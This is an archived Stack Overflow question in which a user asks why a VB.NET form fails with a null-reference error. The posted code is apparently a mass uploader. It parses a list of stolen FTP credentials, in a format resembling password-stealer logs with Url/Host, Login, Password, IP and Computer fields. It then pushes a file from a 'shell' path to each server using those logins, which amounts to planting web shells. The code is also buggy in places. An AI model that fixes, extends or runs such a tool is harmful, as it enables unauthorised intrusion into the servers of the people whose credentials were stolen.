An error occurred creating the form. See Exception.InnerException for details. The error is: Object
Posted
by Ben
on Stack Overflow
See other posts from Stack Overflow
or by Ben
Published on 2010-05-19T15:17:28Z
Indexed on
2010/05/19
15:20 UTC
Read the original article
Hit count: 193
I get this error when attempting to debug my form, I cannot see where at all the error could be (also does not highlight where), anyone have any suggestions?
An error occurred creating the form. See Exception.InnerException for details. The error is: Object reference not set to an instance of an object.
Public Class Form1
Dim dateCrap As String = "Date:"
Dim IPcrap As String = "Ip:"
Dim pcCrap As String = "Computer:"
Dim programCrap As String = "Program:"
Dim textz As String = TextBox1.Text
Dim sep() As String = {vbNewLine & vbNewLine}
Dim sections() As String = Text.Split(sep, StringSplitOptions.None)
Dim NewArray() As String = TextBox1.Text.Split(vbNewLine)
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
For i = 0 To sections.Count - 1
TextBox2.Text = sections(i)
Dim text2 As String = TextBox2.Text
Dim sep2() As String = {vbNewLine & vbNewLine}
Dim sections2() As String = Text.Split(sep, StringSplitOptions.None)
Dim FTPinfo() As String = TextBox2.Text.Split(vbNewLine)
Dim clsRequest As System.Net.FtpWebRequest = _
DirectCast(System.Net.WebRequest.Create(sections2(0).Replace("Url/Host:", "")), System.Net.FtpWebRequest)
clsRequest.Credentials = New System.Net.NetworkCredential(sections2(1).Replace("Login:", ""), (sections2(2).Replace("Password:", "")))
clsRequest.Method = System.Net.WebRequestMethods.Ftp.UploadFile
' read in file...
Dim bFile() As Byte = System.IO.File.ReadAllBytes(txtShellDir.Text)
' upload file...
Dim clsStream As System.IO.Stream = clsRequest.GetRequestStream()
clsStream.Write(bFile, 0, bFile.Length)
clsStream.Close()
clsStream.Dispose()
Next
End Sub
Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
ListBox1.Items.Clear()
Dim fdlg As OpenFileDialog = New OpenFileDialog()
fdlg.Title = "Browse for the FTP List you wish to use."
fdlg.InitialDirectory = Application.ExecutablePath
fdlg.Filter = "All files (*.txt)|*.txt|txt files (*.txt)|*.txt"
fdlg.FilterIndex = 2
fdlg.RestoreDirectory = True
If fdlg.ShowDialog() = DialogResult.OK Then
'ListBox1.Items.AddRange(Split(My.Computer.FileSystem.ReadAllText(fdlg.FileName), vbNewLine))
TextBox1.Text = My.Computer.FileSystem.ReadAllText(fdlg.FileName)
End If
Dim tmp() As String = TextBox1.Text.Split(CChar(vbNewLine))
For Each line As String In tmp
If line.Length > 1 Then
TextBox1.AppendText(line & vbNewLine)
End If
Next
TextBox1.Text = TextBox1.Text.Replace(" ", "")
TextBox1.Text = TextBox1.Text.Replace("----------------------------------------------------------", vbNewLine)
For Each item As String In NewArray
ListBox1.Items.Add(item)
Next
Try
For i = 0 To ListBox1.Items.Count - 1
If ListBox1.Items(i).Contains(dateCrap) Then
ListBox1.Items.RemoveAt(i)
End If
Next
Catch ex As Exception
End Try
Try
For i = 0 To ListBox1.Items.Count - 1
If ListBox1.Items(i).Contains(IPcrap) Then
ListBox1.Items.RemoveAt(i)
End If
Next
Catch ex As Exception
End Try
Try
For i = 0 To ListBox1.Items.Count - 1
If ListBox1.Items(i).Contains(pcCrap) Then
ListBox1.Items.RemoveAt(i)
End If
Next
Catch ex As Exception
End Try
Try
For i = 0 To ListBox1.Items.Count - 1
If ListBox1.Items(i).Contains(programCrap) Then
ListBox1.Items.RemoveAt(i)
End If
Next
Catch ex As Exception
End Try
TextBox1.Text = ""
For Each thing As Object In ListBox1.Items
TextBox1.AppendText(thing.ToString & vbNewLine)
Next
End Sub
Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
For i = 0 To ListBox1.SelectedItems.Count - 1
TextBox1.Text = TextBox1.Text & ListBox1.Items.Item(i).ToString() & vbNewLine
Next
End Sub
End Class
© Stack Overflow or respective owner